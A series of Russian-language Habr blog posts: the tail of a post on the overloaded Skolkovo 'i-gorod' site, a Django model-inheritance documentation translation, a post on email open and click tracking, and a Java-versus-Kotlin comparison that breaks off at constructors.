Другое открытие заключалось в том, что корпоративная почта сайта была размещена на [gmail.com](http://gmail.com). Да, на том самом вражеском gmail, который недавно хотел запретить один высокопоставленный сотрудник ФСБ. Мне нравится gmail тем, что 50 почтовых аккаунтов там можно завести абсолютно бесплатно. Видимо тем же он понравился фонду «Сколково».
Очень быстро был найден предполагаемый исполнитель сайта, им оказался так же хабраюзер. Мир тесен, увы. Бедняге мгновенно накидали минусов в карму. Я считаю что не совсем справедливо, может быть он поработал на ту сумму, которую заплатили?
#### Запахло жареным!
В результате, администраторы сайта стали предпринимать действия по спасению ситуации — сменили пароли, переставили систему, начали устанавливать frontend сервер. Однако, кроме этой безусловно нужной работы, было размещено официальное объявление, в котором говорится:
`Официальный сайт Фонда "Сколково" в настоящее время подвержен массированной DDOS-атаке, в связи с чем к нему затруднён доступ пользователей`.
И вот СМИ понесли весть о таинственных врагах инноваций.
Оперативно появился человек, представляющий фонд «Сколково», попросил писать вопросы и предложения и обещал дать ответы на вопросы. Я написал ему письмо, предупредил об этом посте и хотел задать и обсудить вопросы. Увы, мое обращение осталось без ответа. Надеюсь что он был занят срочным делом по восстановлению сайта и сможет ответить позже. Вопросы выкладываю тут.
1. Когда был сделан сайт i-gorod, сколько времени было потрачено на его разработку и какую сумму заплатили непосредственному разработчику?
2. Как потрачены выделенные из бюджета 3 млн рублей на создание сайта?
3. Какие параметры хостинга были до падения и сейчас? Планировали ли высокую посещаемость проекта или он был сделан для галочки?
4. Какие выводы сделаны по итогам ситуации?
5. Вы по прежнему считаете хабра-сообщество злыми хакерами, которые DDOS-ят сайт? Если да, то планируете ли подавать заявление в полицию, а если нет, то будет ли вывешен пресс-релиз с признанием ошибки?
6. Вы готовы отблагодарить хабраюзера, который сделал вам отличную рекламу и провел шикарное нагрузочное тестирование?
В завершение хотел бы отдельно упомянуть [инициативу хабрасообщества](http://habrahabr.ru/blogs/DIY/117314/) по созданию социально значимых проектов общественными силами.
Люди хотят прикладывать свои силы и менять общество к лучшему, а не тянуть деньги. Интересно, найдется ли им место в текущих модернизационных программах?
И последняя просьба. Народ, не стоит под раздачу определять сайт [www.skolkovo.ru](http://www.skolkovo.ru) Он хоть созвучен по имени и так же «страшно далек от народа», но к нашей теме все же отношения не имеет.
*Данный пост будет апдейтится в случае получения информации от представителей фонда «Сколково», либо в случае появления животрепещущих вопросов от народа, которые будут выбраны традиционным плюсованием комментариев.*
Update1. К сожалению по состоянию на 18:00 13 апреля мы не увидели никакой информации от администрации фонда «Сколково». Поэтому пытаемся разобраться самостоятельно. Ссылка на шаблон для CMS Joomla на котором запущен сайт. Стоимость от **65$**
store.templatemonster.com/joomla-templates/28038.html
Меня лично впечатлили зеленые поля и ветряные мельницы.
Update2. Читаем ответы: [habrahabr.ru/blogs/internet/117452](http://habrahabr.ru/blogs/internet/117452/) | https://habr.com/ru/post/117367/ | null | ru | null |
# Перевод Django Documentation: Models. Part 4 (Last)
Доброго времени суток!
Это последняя часть серии моих переводов [раздела о моделях](http://docs.djangoproject.com/en/dev/topics/db/models/) из [документации Django](http://docs.djangoproject.com/en/dev/).
[Перевод Django Documentation: Models. Part 1](http://habrahabr.ru/blogs/django/74856/)
[Перевод Django Documentation: Models. Part 2](http://habrahabr.ru/blogs/django/74967/)
[Перевод Django Documentation: Models. Part 3](http://habrahabr.ru/blogs/django/75272/)
\_\_\_\_\_Многотабличное наследование
\_\_\_\_\_\_\_Класс *Meta* и многотабличное наследование
\_\_\_\_\_\_\_Наследование и обратные отношения
\_\_\_\_\_\_\_Создание поля с *parent\_link*
\_\_\_\_\_Прокси-модели
\_\_\_\_\_\_\_Запросы возвращают объекты модели, к которой адресованы
\_\_\_\_\_\_\_Ограничения для базовых классов
\_\_\_\_\_\_\_Менеджеры прокси-модели
\_\_\_\_\_\_\_Различия между прокси-моделями и *unmanaged-*моделями
\_\_\_\_\_Множественное наследование
\_\_\_\_\_Переопределение имен полей запрещено
##### Многотабличное наследование
Второй тип наследования моделей, поддерживаемый Django, используется когда каждая модель в иерархии является моделью сама по себе. То есть каждая модель относится к собственной таблице базы данных и может использоваться индивидуально. Отношения при наследовании представляют собой ссылки между производной моделью и каждым из его родителей (с помощью автоматически создаваемого поля *OneToOneField*). Например:
> `Copy Source | Copy HTML
> class Place(models.Model):
> name = models.CharField(max\_length=50)
> address = models.CharField(max\_length=80)
>
> class Restaurant(Place):
> serves\_hot\_dogs = models.BooleanField()
> serves\_pizza = models.BooleanField()`
Все поля класса *Place* будут так же доступны и в производном классе *Restaurant*, однако их данные будут содержаться в разных таблицах. Так что возможны два случая:
> `Copy Source | Copy HTML
> >>> Place.objects.**filter**(name="Bob's Cafe")
> >>> Restaurant.objects.**filter**(name="Bob's Cafe")`
Если у вас имеется объект класса *Place*, являющийся так же объектом класса *Restaurant*, вы можете получить доступ к объекту *Restaurant* из объекта *Place*, используя название производной модели в нижнем регистре:
> `Copy Source | Copy HTML
> >>> p = Place.objects.**filter**(name="Bob's Cafe")
> # If Bob's Cafe is a Restaurant object, this will give the child class:
> >>> p.restaurant`
Если *p* в данном примере не является объектом класса *Restaurant* (он был создан непосредственно как объект класса *Place* или является базовым для каких-то других классов), выражение *p.restaurant* возбудит исключение *Restaurant.DoesNotExist*.
Класс *Meta* и многотабличное наследование
В ситуации с многотабличным наследованием производным классам не имеет смысла наследовать данные класса [Meta](http://docs.djangoproject.com/en/1.1/topics/db/models/#meta-options) базового класса. Все [Meta](http://docs.djangoproject.com/en/1.1/topics/db/models/#meta-options) параметры уже применены к базовому классу и их повторное применение может привести к противоречивым последствиям (в отличие от ситуации с абстрактным базовым классом, который, фактически, не существует сам по себе).
Итак, производная модель не имеет доступа к родительскому классу [Meta](http://docs.djangoproject.com/en/1.1/topics/db/models/#meta-options). Однако существует несколько случаев, когда производный класс наследует поведение базового: если производный класс не определит атрибуты [django.db.models.Options.ordering](http://docs.djangoproject.com/en/1.1/ref/models/options/#django.db.models.Options.ordering) или [django.db.models.Options.get\_latest\_by](http://docs.djangoproject.com/en/1.1/ref/models/options/#django.db.models.Options.get_latest_by), то он унаследует их от родительского класса.
Если базовый класс содержит данные атрибуты, но вы не хотите чтобы производные использовали их, вы можете принудительно отключить их:
> `Copy Source | Copy HTML
> class ChildModel(ParentModel):
> ...
> class Meta:
> # Remove parent's ordering effect
> ordering = []`
Наследование и обратные отношения
Так как при многотабличном наследовании неявно используется поле *OneToOneField* для создания ссылок между производным и базовым классом, мы можем получить доступ к производному классу через базовый, как показано в одном из примеров выше. Однако для этого используется имя, являющиеся значением по умолчанию для [related\_name](http://docs.djangoproject.com/en/dev/ref/models/fields/#django.db.models.ForeignKey.related_name) полей *django.db.models.fields.ForeignKey* и *django.db.models.fields.ManyToManyField*. Если вы используете эти типы отношений в другой модели, вы **должны** определить атрибут [related\_name](http://docs.djangoproject.com/en/dev/ref/models/fields/#django.db.models.ForeignKey.related_name) для каждого такого поля. В противном случает Django сообщит об ошибке при выполнении [validate](http://docs.djangoproject.com/en/dev/ref/django-admin/#djadmin-validate) или [syncdb](http://docs.djangoproject.com/en/dev/ref/django-admin/#djadmin-syncdb).
Например, используем описанный выше класс *Place* еще раз для создания другого подкласса с полем *ManyToManeField*:
> `Copy Source | Copy HTML
> class Supplier(Place):
> # Must specify related\_name on all relations.
> customers = models.ManyToManyField(Restaurant, related\_name='provider')`
Создание поля с *parent\_link*
Как уже упоминалось, Django автоматически создает поле *OneToOneField* для связывания производного класса с неабстрактным базовым. Если вы хотите управлять именем атрибута, который ссылается на родительский класс, вы можете создать собственное поле *OneToOneField* и указать в нем *parent\_link=True*, чтобы показать что ваше поле ссылается на базовый класс.
##### Прокси-модели
***добавлено в версии Django 1.1**: пожалуйста, прочтите [примечания к релизу](http://docs.djangoproject.com/en/dev/releases/1.1/#releases-1-1)*.
При использовании [многотабличного наследования](http://docs.djangoproject.com/en/dev/topics/db/models/#multi-table-inheritance) новые таблицы базы данных создаются для каждого подкласса модели. Это то что нужно, если подклассу требуется место для хранения дополнительных данных, которые представлены в базовом классе. Однако иногда вам нужно лишь изменить поведение модели — например, добавить какой-то метод.
Для этого используется наследование с помощью прокси-модели. Создав *прокси* вашей модели, вы можете создавать, удалять и изменять экземпляры прокси-модели, и все результаты будут сохраняться, как если бы вы использовали основную (не прокси) модель. Разница между ними в том, что вы можете менять такие вещи как стандартную сортировку или менеджер по умолчанию прокси-модели без изменения оригинала.
Прокси-модели объявляются так же как и обычные модели. Вы сообщаете Django о том, что данный класс является прокси-моделью, присваивая значение *True* атрибуту [proxy](http://docs.djangoproject.com/en/dev/ref/models/options/#django.db.models.Options.proxy) класса *Meta*.
Например, предположим, что вы хотите добавить метод стандартной модели *User*, которая будет использоваться в ваших шаблонах. Вы можете сделать это следующим образом:
> `Copy Source | Copy HTML
> from django.contrib.auth.models import User
>
> class MyUser(User):
> class Meta:
> proxy = True
>
> def do\_something(self):
> ...`
Класс *MyUser* оперирует той же таблицей базы данных, что и базовый класс *User*. В частности, любые экземпляры класса *User* будут доступны через класс *MyUser*, и наоборот:
> `Copy Source | Copy HTML
> >>> u = User.objects.create(username="foobar")
> >>> MyUser.objects.get(username="foobar")`
Вы также можете использовать прокси-модель для определения в вашей модели различных сортировок по умолчанию. Стандартная модель *User* не имеет собственной сортировки (это сделано умышленно: сортировка требует затрат памяти, и мы не хотим использовать ее каждый раз, когда выбираем пользователей). Возможно, вы хотите постоянно сортировать пользователей по имени при использовании прокси-модели. Это просто:
> `Copy Source | Copy HTML
> class OrderedUser(User):
> class Meta:
> ordering = ["username"]
> proxy = True`
Теперь запросы к классу *User* не будут отсортированы, а запросы к классу *OrderedUser* будут сортироваться по имени.
Запросы возвращают объекты модели, к которой адресованы
Не существует способа заставить Django вернуть, скажем, объект класса *MyUser*, когда мы посылаем запрос объектам класса *User*. Запрос для объектов класса *User* вернет этот же тип объекта (*User* прим.пер.). Основная идея использования прокси-объектов заключается в том, что код, относящийся к классу *User* будет использовать этот класс, а ваш собственный код получит возможность использовать расширения, которые вы подключили. Отметим также, что это вовсе не способ повсеместно заменить модель *User* (или любую другую) вашей собственной.
Ограничения для базовых классов
Прокси-модель должна наследовать только один неабстрактный класс. Вы не можете наследовать несколько неабстрактных моделей, так как прокси-модель не предусматривает какой-либо связи между столбцами в различных таблицах базы данных. Прокси-модель может наследовать сколько угодно абстрактных классов, если они *не* имеют полей.
Прокси-модели наследуют *Meta* параметры, которые они не получают от своих неабстрактных базовых классов (моделей, для которых они являются прокси).
Менеджеры прокси-модели
Если вы самостоятельно не создадите менеджеры для прокси-модели, они унаследуются от базовых классов вашей модели. Если же вы объявите менеджер для прокси-модели, он станет менеджером по умолчанию, также будут доступны остальные менеджеры, определенные в базовых классах. Продолжая наш приведенный выше пример, вы можете изменить стандартный менеджер, использующийся при запросе к модели *User*:
> `Copy Source | Copy HTML
> class NewManager(models.Manager):
> ...
>
> class MyUser(User):
> objects = NewManager()
>
> class Meta:
> proxy = True`
Если вы хотите добавить новый менеджер прокси-модели так, чтобы он не заменил уже существующий менеджер по умолчанию, вы можете использовать прием, описанный в документации по [собственным менеджерам](http://docs.djangoproject.com/en/dev/topics/db/managers/#custom-managers-and-inheritance): создать базовый класс, содержащий новые менеджеры, и наследовать его после основного базового класса:
> `Copy Source | Copy HTML
> # Create an abstract class for the new manager.
> class ExtraManagers(models.Model):
> secondary = NewManager()
>
> class Meta:
> abstract = True
>
> class MyUser(User, ExtraManagers):
> class Meta:
> proxy = True`
Скорее всего, вам не придётся пользоваться этим часто, однако знайте, что это возможно.
Различия между прокси-моделями и *unmanaged-*моделями
Наследование с помощью прокси-модели с виду довольно похоже на создание *unmanaged-*модели с использованием атрибута [managed](http://docs.djangoproject.com/en/dev/ref/models/options/#django.db.models.Options.managed) в ее *Meta* классе. Эти две альтернативы не одно и тоже, но они обе заслуживают рассмотрения, чтобы вы могли определится, что именно следует использовать.
Первое отличие состоит в том, что вы можете (и, по сути, должны, если вы не хотите создать пустую модель) определить поля в модели с *Meta.managed=False*. Вы также могли бы, аккуратно настроив [Meta.db\_table](http://docs.djangoproject.com/en/dev/ref/models/options/#django.db.models.Options.db_table) создать *unmanaged-*модель, в точности повторяющую уже существующую, и добавить в нее методы. Однако это было бы очень скучным и ненадежным, так как вы должны синхронизировать копии при любых изменениях.
Другое отличие, более важное для прокси-моделей, заключается в том как обрабатываются менеджеры моделей. Прокси-модели ведут себя в точности так как и модели, для которых они являются прокси. Они наследуют менеджеры своих базовых классов, включая менеджер по умолчанию. В случае обычного многотабличного наследования производная модель не наследует менеджеры, потому что при использовании дополнительных полей собственные менеджеры (custom managers) не всегда уместны. [Документация по менеджерам](http://docs.djangoproject.com/en/dev/topics/db/managers/#custom-managers-and-inheritance) содержит больше информации по данному вопросу.
Когда были созданы данные принципы, были предприняты попытки объединить их в один вариант. Однако выяснилось, что взаимодействие с наследованием в общем случае, и в частности с использованием менеджеров, делало API очень сложным и потенциально трудным для восприятия и использования. Оказалось, что оба варианта необходимы в любом случае, поэтому возникло подобное разделение.
Таким образом, общие правила таковы:
1. Если вы хотите создать точную копию существующей модели или таблицы базы данных, но не хотите, чтобы полученная модель содержала все колонки таблици базы данных, используйте *Meta.managed=False*. Этот метод обычно полезен для моделирования образов базы данных и таблиц вне Django.
2. Если вы хотите изменить поведение модели на языковом уровне, но сохранить все те же поля, что и у оригинала, используйте *Meta.proxy=True*. В этом случае ваша модель становится точной копией оригинала, включая структуру хранения данных.
##### Множественное наследование
Так же как и при наследовании в Python, модель в Django имеет возможность наследовать множество базовых моделей. Имеется в виду, что в Django сохраняется соглашение о именах. Именно базовый класс (например, [Meta](http://docs.djangoproject.com/en/dev/topics/db/models/#meta-options)), находящийся первым в определении, будет использоваться; например, это означает, что, если базовые классы содержат класс [Meta](http://docs.djangoproject.com/en/dev/topics/db/models/#meta-options), использоваться будет только первый из ни, все остальные будут игнорироваться.
Как правило, вам не нужно будет использовать множественное наследование. Основная область его применения — *«mix-in»* классы (all-in-one прим.пер.): добавление отдельных дополнительных полей каждому классу, наследующему *mix-in*. Старайтесь создавать ваше дерево наследования настолько просто и однозначно, насколько это возможно, чтобы вам не пришлось постоянно выяснять откуда появилась та или иная информация.
Переопределение имен полей запрещено
В обычном наследовании языка Python производный класс может переопределять атрибуты любого базового класса. В Django это не разрешено (по крайней мере, на данный момент) в случае, когда атрибуты являются экземплярами *полей*. Если базовый класс содержит поле *author*, вы не сможете создать новое поле с таким же именем в любой модели, наследующей данный класс.
Переопределение полей в базовой модели приводит к проблемам при инициализации новых экземпляров (указание какое поле было инициализировано в *Model.\_\_init\_\_*) и при сериализации. Эти особенности, с которыми обычное наследование в Python не сталкивается, поэтому различие в наследовании моделей Django и наследование классов Python не является причудой.
Это огрананичение распространяется только на атрибуты, являющиеся экземплярами *полей*. Обычные атрибуты могут быть переопределены по вашему желанию. Это относится только к именам атрибутов, таким, какими их видит Python: в случае многотабличного наследования, если вы вручную определили колонку базы данных, вы можете хранить колонки с одним и тем же именем как в производной, так и в базовой модели (колонки находятся в разных таблицах базы данных).
Django возбудит исключение *FieldError*, если вы переопределите какое-либо поле базовой модели.
**Вот и все.** Это последняя часть перевода, который, как я надеюсь, всё же оказался или окажется кому-то полезен кроме меня. Всех, кто так или иначе заинтересован в продолжении перевода документации, прошу написать ваши предложения хабрапочтой или в комментариях.
Спасибо за внимание ;)
[Перевод Django Documentation: Models. Part 1](http://habrahabr.ru/blogs/django/74856/)
[Перевод Django Documentation: Models. Part 2](http://habrahabr.ru/blogs/django/74967/)
[Перевод Django Documentation: Models. Part 3](http://habrahabr.ru/blogs/django/75272/) | https://habr.com/ru/post/80030/ | null | ru | null |
# Что нам стоит сервис email-маркетинга построить? Взгляд изнутри, часть первая
Насколько сложно построить полноценный сервис email-маркетинга? Что для этого нужно предусмотреть? Какие подводные камни могут встретиться на пути пытливых умов разработчиков?
Давайте попробуем разобраться вместе. В рамках нескольких статей я расскажу о том, как я за год сделал свой собственный сервис email-рассылок, какие уроки для себя извлек и что планирую со всем этим делать дальше.
Сразу оговорюсь, что в статье рассмотрена только техническая сторона вопроса.
### Кратко о себе
Я пишу на Python вот уже 5 лет, в основном использую Django, PostgreSQL, умею готовить JavaScript на уровне jQuery + KnockoutJS. В свободное от основной работы время занимаюсь фрилансом и собственными интернет-проектами, об одном из которых сейчас и планирую рассказать. Занимаюсь я этим проектом уже около года.
### Цель проекта
В самом начале мною была поставлена достаточно простая цель — создать работающее решение для отправки транзакционных писем и email-рассылок с функциями отслеживания открытий, переходов, невозможности доставки письма, жалоб на спам. Использовать я это решение планировал в других своих проектах, поскольку Яндекс ПДД (почта для домена), которую я использовал до этого, такими функциями не обладала, а они были нужны.
Тогда еще не шла речь о том, чтобы дать это решение в виде SaaS всем пользователям в Интернете.
### Задачи
* Понять, как работает отслеживание событий в email-рассылках, разобраться с трекингом.
* Придумать решение, которое будет работать под средними нагрузками (2-3 миллиона писем в месяц). Почему именно 2-3 миллиона? Я считаю, что такой объем необходим, чтобы окупать такой проект (затрачиваемое время + материальные ресурсы типа серверов).
* Реализовать удобный интерфейс для аналитики массовых и транзакционных рассылок.
Далее я постараюсь более-менее подробно остановиться на том, как я выполнил каждую из этих задач.
### Технологии
Использовать я решил те технологии, которые знаю — Python, Django, PostgreSQL, KnockoutJS, LESS, py.test.
Дополнительно в процессе работы над проектом я неплохо разобрался в Celery и микросервисной архитектуре.
На этом я предлагаю закончить вступительную часть и перейти к самому интересному — практике.
### Как работает трекинг email-сообщений?
Когда вы отправляете почту, вы наверняка хотите знать, дошли ли ваши письма адресатам, прочитали ли они их вообще, интересны ли они им, перешли ли они по ссылкам в письме, что после этого они делали на сайте, совершили ли целевое действие — покупку, заказ, звонок и так далее.
Получить ответы на эти вопросы вы можете только с помощью трекинга или систем типа Яндекс.Метрики (ну или спросив своих получателей лично).
#### Отслеживание открытий писем
Сегодня стандартным подходом для отслеживания открытий писем является внедрение специального пикселя в письмо — вы можете увидеть этот пиксель в большей части рекламных писем в вашем почтовом ящике, если посмотрите исходники письма. Он может выглядеть примерно так:
```
```
Понятно, что при запросе на URL, указанный в атрибуте **src** изображения, должно происходить добавление события, означающего, что письмо с **id** равным **UNIQUE\_EMAIL\_ID** было открыто.
Однако не всё так просто. Очень часто в src изображения указывают URL, ведущий на какой-либо php-скрипт и не думают о том, что почтовый сервис очень хочет получить в ответ валидные для изображения заголовки, а так же само изображение. Если почтовый сервис по этой причине разочаровывается в вашем пикселе, он просто вырежет его из письма и вы не узнаете о том, открыл ваш адресат письмо или нет.
Для того, чтобы этого не произошло, следует добавить корректные заголовки ответа и отдать валидное изображение клиенту. Реализация на Django Rest Framework может выглядеть примерно так:
```
class TrackMessageView(APIView):
renderer_classes = [JPEGRenderer]
@property
def pixel(self):
return open(os.path.join(settings.STATIC_ROOT, 'site/img/pixel.jpg'), 'rb')
def get(self, request, *args, **kwargs):
manager = BaseManager()
message = manager.get_message_by_unique_id(self.kwargs['unique_id'])
if message:
manager.track_message(message)
return Response(self.pixel.read(), status=201)
return Response(status=404)
```
#### Отслеживание переходов по ссылкам в письме
Думаю, у пытливого читателя не должно возникнуть проблем с реализацией такого типа трекинга. В общем и целом — каждая ссылка в письме заменяется на ссылку через специальный сервис перенаправления, который создает событие типа «Переход по ссылке». Дополнительно можно к каждой ссылке добавлять уникальный идентификатор — тогда вы сможете реализовать «тепловую карту» письма. Это очень полезная функция, например, для А/Б тестирования.
Реализация на Python выглядит достаточно просто:
```
REDIRECT_URL_TEMPLATE = '%s/message/redirect/%s/'
HREF_REGEXP = r'(?<=href=(\"|\'))(http|https)([^\"\']+)(?=(\"|\'))'
...
def replace_links(message):
redirect_url = REDIRECT_URL_TEMPLATE % (settings.API_URL, message.unique_id)
message.html_body = re.sub(HREF_REGEXP, r'%s?next=\2\3' % redirect_url, message.html_body)
...
```
#### Отслеживание невозможности доставки писем
А вот с этим все намного интереснее.
Каждый раз, когда почтовый сервер не может доставить ваше письмо, в ответ на адрес отправителя уходит отчет о невозможности доставки с описанием причины (иногда подробным, иногда — так себе). Для обработки этих входящих писем я использовал подход, который заключается в пробросе входящего письма на Python скрипт обработчика через **/etc/aliases**.
Пример кусочка письма для анализа:
```
Final-Recipient: rfc822; ****@****.ru
Original-Recipient: rfc822; ****@****.ru
Action: failed
Status: 4.4.1
Diagnostic-Code: X-Postfix; connect to ****.ru[xx.xx.xxx.xxx]:25: Connection refused
```
Сам скрипт пытается более-менее интеллектуально понять причину невозможности доставки письма и создает событие Soft-Bounce (письмо **в данный момент** не может быть доставлено, но вы сможете попробовать еще разок) или Hard-Bounce (письмо **не будет доставлено никогда**, например потому что ящик не существует).
Тут важно сделать небольшую ремарку о том, как собственно нужно реагировать на такие события согласно правилам почтовых сервисов типа Mail.ru, Yandex и др.
> сервисы, осуществляющие рассылки на основе подписки, должны безусловно удалять из базы подписчиков или принимать меры по приостановке рассылок на адреса, которые генерируют ошибку протокола SMTP: 550 user not found (отслеживание валидности базы получателей — необходимое условие для поддержания положительной репутации рассыльщика);
» [Ссылка на список правил](https://help.mail.ru/mail-help/rules/technical)
Таким образом, мне необходимо было предусмотреть «выключение» подписчиков, на адреса которых невозможно доставить почту. В итоге я пришел к тому, что выключаю подписчика из всех списков подписчиков на сервисе.
Ну вот, с трекингом вроде бы разобрались.
### Немного статистики
В данный момент через мой сервис отправляется около 150 000 писем в месяц. Много это, или мало? Наверное мало, учитывая объемы, которые я себе задал в рамках обозначенных задач.
Из них:
* 20% — открыты (это достаточно большой процент, на самом деле, спасибо транзакционной почте)
* 13% — переходы по ссылкам
* 9% — Hard/Soft bounce
### P.S.
В следующих статьях я расскажу о том, как и чем я обрабатываю эти данные, расскажу о тонкостях использования celery в подобных проектах, а так же остановлюсь на том, что я планирую делать с этим сервисом дальше.
Спасибо за внимание! | https://habr.com/ru/post/313714/ | null | ru | null |
# Сравниваем Java и Kotlin
Предлагаю начать с общих черт.
* Статическая типизация
* Бесплатны и с открытым кодом
* Код преобразуется в байт-код
* Интероперабельность
* Объектно-ориентированные языки программирования
**1. Статическая типизация**
Java и Kotlin являются языками со статической типизацией. Это означает, что проверка типов выполняется во время компиляции. (Существуют также языки с динамической типизацией, например PHP, Python и JavaScript.)
Это хорошо видно из примера ниже.
**2. Бесплатны и с открытым кодом**
Оба языка являются бесплатными и распространяются как открытое программное обеспечение (можно использовать без ограничений и участвовать в развитии).
**3. Байт-код**
Оба языка преобразуют код в байт-код, исполняемый JVM.
**4. Интероперабельность**
Оба языка являются интероперабельными. Это означает, что файлы Java и Kotlin могут сосуществовать в одном проекте или пакете JAR.
**5. Поддержка ООП**
Оба являются объектно-ориентированными языками программирования.
(Таким образом, они поддерживают основные концепции ООП)
Полиморфизм, наследование, инкапсуляция, абстракция.
**А теперь рассмотрим основные отличия.**
**1. Представление публике и релиз**
* Язык Java был разработан компанией Sun Microsystems (в настоящее время принадлежит Oracle) в 1995 году.
* Он поддерживается практически всеми типами устройств и операционных систем, будь то Android, Windows или Linux.
* Язык Kotlin был представлен компанией JetBrains в 2011 году, выложен в открытый доступ в 2012 году, официально поддержан на Google I/O (ежегодном мероприятии разработчиков Google) в 2017 году.
* По заявлению Google, 70 % из 1000 лучших приложений для Android сейчас написаны на Kotlin.
* Некоторые приложения пока находятся в процессе переноса с Java на Kotlin, например приложение Google Home еще не полностью переписано на Kotlin...
* ...но по состоянию на июнь 2020 года около 30 % старой кодовой базы на Java уже было переписано на Kotlin.
* Другими популярными примерами Kotlin-приложений от Google являются Maps, Play и Drive.
* Прочие компании также выпустили множество приложений для Android, написанных на языке Kotlin.
* Сейчас при поддержке разработки под Android компания Google придерживается стратегии «Kotlin прежде всего». Это в чем-то похоже на ситуацию с разработкой приложений под iOS, где произошел переход от Objective-C к Swift.
**2. Версия**
* По состоянию на ноябрь 2020 года актуальной версией Kotlin является 1.4.0.
* Несмотря на выход Java 15, самой популярной версией все еще остается Java 8 (или 1.8).
**3. Скорость**
* По этому параметру Java превосходит Kotlin на 12–15 % для чистых сборок (то есть в этом случае Kotlin компилируется немного медленнее).
* Однако в случае частичных сборок с включенной инкрементной компиляцией (то есть с компиляцией только небольших изменений) Kotlin компилируется так же быстро, как и Java, или даже немного быстрее.
**4. Количество строк кода**
* Код, написанный на Kotlin, намного компактнее по сравнению с Java — на 30–40 %.
Таким образом, в теории размер приложений может уменьшиться на треть.
* Язык Java — крайне многословный, а Kotlin — лаконичный и современный.
**5. Доля рынка**
* По данным опросов, разработчиков на Kotlin примерно в пять раз меньше, чем использующих Java.
* 7,8 % разработчиков предпочитают Kotlin, более чем 40 % — Java. Однако эти опросы также показывают, что Kotlin нравится программистам больше, чем Java, и быстро наращивает аудиторию.
Ссылки[*https://www.statista.com/statistics/793628/worldwide-developer-survey-most-used-languages/*](https://www.statista.com/statistics/793628/worldwide-developer-survey-most-used-languages/)[*https://insights.stackoverflow.com/survey/2020#most-popular-technologies*](https://insights.stackoverflow.com/survey/2020#most-popular-technologies)[*https://insights.stackoverflow.com/survey/2020#most-loved-dreaded-and-wanted*](https://insights.stackoverflow.com/survey/2020#most-loved-dreaded-and-wanted)
**6. Безопасная работа с обнуляемыми переменными (null safety)**
* Kotlin защищен от `NullPointerException`. Именно этот тип ошибки является самой частой причиной сбоев приложений из Google Play.
* Java позволяет разработчикам присваивать значение `null` любой переменной.
* В отличие от Java, в Kotlin по умолчанию все типы являются non-nullable, то есть не могут принимать значение `null`. Присвоение или возврат `null` приведет к ошибке компиляции.
* Чтобы присвоить переменной значение `null`, в Kotlin необходимо явно пометить эту переменную как `nullable`.
```
val number: Int? = null //Nullable type
val name: String = null //Error because not possible to assign a null value
```
Nullable-типы используются с оператором безопасного вызова.
```
name?.getLength()
```
Таким образом, даже если name примет значение `null`, все выражение будет эквивалентно null без возникновения `NullPointerException`.
**7. Гибридные приложения**
* Kotlin можно использовать для написания нативных приложений для Android и iOS.
* Kotlin Multiplatform Mobile (KMM) работает в Android и iOS.
* Java до последнего времени не использовалась при разработке приложений под iOS.
Теперь рассмотрим СТИЛЕВЫЕ отличия.
1. **Функция main**
* В Java метод `main` должен размещаться внутри класса. Он объявляется как статический метод.
* В Kotlin, чтобы сделать функцию статической, достаточно поместить ее на уровень пакета. Так что это может быть самостоятельная функция без класса.
* Аргументы метода `main` в Kotlin можно опустить, если наша программа не должна принимать аргументы командной строки.
```
fun main(args : Array) {
println(“hello”)
}
```
* В Java, если мы не включаем аргументы в функцию main (даже если мы их не используем), выводится ошибка.
```
Error: Main method not found in class
```
**2. Поведение по умолчанию**
* В отличие от Java, по умолчанию классы в Kotlin являются финальными (final), поэтому, чтобы разрешить наследование от класса, его следует пометить ключевым словом `open`.
* Чтобы разрешить переопределение метода, его необходимо явно пометить как open.
```
class A { … } in Java is equal to open class A { … } in Kotlin.
final class B { … } in Java is equal to class B { …} in Kotlin.
```
* В Kotlin все, что не имеет модификаторов доступа, по умолчанию является `public`. Мы можем явно прописать `public` в определении, но это не обязательно.
```
public class A { … } и class A { … }
```
— это одно и то же в Kotlin.
В Kotlin используется четыре модификатора видимости: `private`, `protected`, `public` и `internal`.
Internal подразумевает повсеместную видимость в одном модуле.
* В Java используется ключевое слово `default`.
* Ключевое слово `default` является модификатором доступа. Если вы не назначили переменным, методам, конструкторам и классам какой-либо модификатор доступа, то по умолчанию используется модификатор доступа `default`.
* `Default` обеспечивает видимость в пределах пакета.
* Методы с модификатором `default` позволяют добавлять в интерфейсы новые функциональные возможности.
```
interface AnInterface {
public default void myMethod() {
System.out.println(“D”);
}
} /Allowed
```
* В Kotlin ключевое слово `default` не используется.
**3. Типы данных и массивы**
* Изменяемым (mutable) и неизменяемым (immutable) типами в Kotlin являются `var` и `val`
```
//Компилятор может определить тип переменной по ее значению.
var website = “hello”
var website: String = “hello” //одно и то же
//Указывать тип обязательно, если вначале идет объявление, а потом инициализация
var website: String
website = “hello“
```
* В числовых литералах разрешается использовать символы подчеркивания.
```
val creditCardNumber = 1234_5678_9012_3456L
```
Нельзя сравнивать типы разной величины.
```
val a: Int = 10; val b: Long = 10L
print(a == b) // Ошибка в Kotlin: сравнение невозможно. В Java возвращается true.
```
* Имена примитивных типов данных в Kotlin начинаются с заглавной буквы, например `Boolean` и `Int`, в то время как в Java — со строчной, например `char` и `double`.
* Классы-обертки, такие как `Integer`, доступны в обоих языках.
```
val num:Integer = Integer(10) //корректный код в Kotlin
val num:Integer = 10 //не будет работать
```
Массивы объявляются следующим образом:
```
Int[] numbers = new int[] {10,20,30,40,50}
val numbers = intArrayOf(10,20,30,40,50)
val numbers = arrayOf(10,20,30,40,50)
var numbers = IntArray(5){it*10}
var numbers = Array(5){it\*10}
```
**4. Списки**
Тип List по умолчанию в Kotlin является неизменяемым, поэтому методы `add()` или `remove()` работают не так, как в Java.
```
val lst = listOf(10, 20, 30, 40, 50)
lst.add(60) //Ошибка
val lst2 = mutableListOf(10, 20, 30, 40, 50) //то же самое, что ArrayList
// val для mutableList? Да, потому что нового присваивания не происходит, только изменение содержимого.
lst2.add(60) //OK
lst2 += 70 //тоже OK
```
Оперировать списком в языке Kotlin можно с помощью функций `take` и `drop`.
```
val nums = listOf(0,1,2,3,4,5,6,7)
nums.take(3) // [0,1,2]
nums.drop(3) // [3,4,5,6,7]
```
**5. Циклы**
В Kotlin доступно несколько вариантов циклов `for`. В Java последний имеет фиксированную структуру.
```
val lst : List = listOf(10, 20, 30, 40, 50)
for(item in lst){
println(item)
}
for(item in 0 until lst.size){
println(lst[item])
}
for(item in 0..4){ //оператор диапазона (range)
println(lst[item])
}
```
В заключение предлагаю рассмотреть функциональные различия.
1. **Конструкторы**
* В Kotlin доступны два вида конструкторов.
